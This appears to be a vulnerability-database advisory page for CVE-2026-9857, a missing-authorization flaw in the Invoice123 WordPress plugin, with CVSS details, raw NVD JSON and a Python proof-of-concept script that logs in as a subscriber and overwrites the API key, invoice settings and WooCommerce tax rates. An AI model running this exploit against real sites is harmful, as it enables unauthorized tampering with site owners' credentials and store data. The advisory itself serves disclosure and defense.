Security Vulnerability Report
中文
CVE-2026-9857 CVSS 4.3 MEDIUM

CVE-2026-9857

Published: 2026-07-10 10:16:24
Last Modified: 2026-07-10 15:43:30

Description

The Invoice123 plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.7.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to overwrite the plugin's API key stored in wp_options, modify invoice plugin settings, and alter WooCommerce tax rate data in the wp_woocommerce_tax_rates table.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Invoice123 (saskaita123-lt) <= 1.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9857 PoC - Invoice123 Plugin Authorization Bypass # Vulnerability: Missing capability checks in S123_ApiKey.php and S123_InvoiceSettings.php # Required: Subscriber-level WordPress account or above import requests # Target WordPress site configuration TARGET_URL = "https://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "subscriber_password" # Step 1: Authenticate as a subscriber-level user session = requests.Session() # WordPress login endpoint login_url = f"{TARGET_URL}/wp-login.php" login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } # Perform login session.post(login_url, data=login_data, headers={"Cookie": "wordpress_test_cookie=WP%20Cookie%20check"}) # Step 2: Exploit - Overwrite the Invoice123 API key # Due to missing authorization checks in S123_ApiKey.php, # any authenticated user can modify the API key stored in wp_options api_key_url = f"{TARGET_URL}/wp-admin/admin.php?page=s123-apikey" exploit_data = { "api_key": "ATTACKER_CONTROLLED_API_KEY_VALUE", "submit": "Save Changes" } response = session.post(api_key_url, data=exploit_data) if response.status_code == 200: print("[+] API key successfully overwritten!") else: print("[-] Exploit failed") # Step 3: Exploit - Modify Invoice Settings # S123_InvoiceSettings.php lacks proper capability verification settings_url = f"{TARGET_URL}/wp-admin/admin.php?page=s123-invoice-settings" settings_data = { "invoice_setting": "malicious_value", "submit": "Save" } response = session.post(settings_url, data=settings_data) if response.status_code == 200: print("[+] Invoice settings modified!") # Step 4: Exploit - Alter WooCommerce Tax Rates # Attacker can modify wp_woocommerce_tax_rates table entries tax_url = f"{TARGET_URL}/wp-admin/admin.php?page=s123-tax-settings" tax_data = { "tax_rate": "0", # Set tax rate to 0 to avoid charges "submit": "Update" } response = session.post(tax_url, data=tax_data) if response.status_code == 200: print("[+] Tax rates altered!")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9857", "sourceIdentifier": "[email protected]", "published": "2026-07-10T10:16:24.310", "lastModified": "2026-07-10T15:43:30.330", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Invoice123 plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.7.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to overwrite the plugin's API key stored in wp_options, modify invoice plugin settings, and alter WooCommerce tax rate data in the wp_woocommerce_tax_rates table."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "saskaita123", "product": "Invoice123", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "1.7.0", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-07-10T14:03:44.668414Z", "id": "CVE-2026-9857", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/saskaita123-lt/tags/1.6.8/includes/pages/S123_ApiKey.php#L21", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/saskaita123-lt/tags/1.6.8/includes/pages/S123_ApiKey.php#L29", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/saskaita123-lt/tags/1.6.8/includes/pages/S123_InvoiceSettings.php#L18", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/saskaita123-lt/tags/1.6.8/includes/pages/S123_InvoiceSettings.php#L26", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/saskaita123-lt/tags/1.6.8/includes/pages/S123_InvoiceSettings.php#L65", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/saskaita123-lt/tags/1.7.0/includes/pages/S123_ApiKey.php#L21", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/saskaita123-lt/tags/1.7.0/includes/pages/S123_ApiKey.php#L29", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/saskaita123-lt/tags/1.7.0/includes/pages/S123_InvoiceSettings.php#L18", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/saskaita123-lt/tags/1.7.0/includes/pages/S123_InvoiceSettings.php#L26", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/saskaita123-lt/tags/1.7.0/includes/pages/S123_InvoiceSettings.php#L65", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?reponame=&old=3594935%40saskaita123-lt&new=3594935%40saskaita123-lt", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7d4e685a-0462-447f-a639-4f95d5aa27ab?source=cve", "source": "[email protected]"}]}}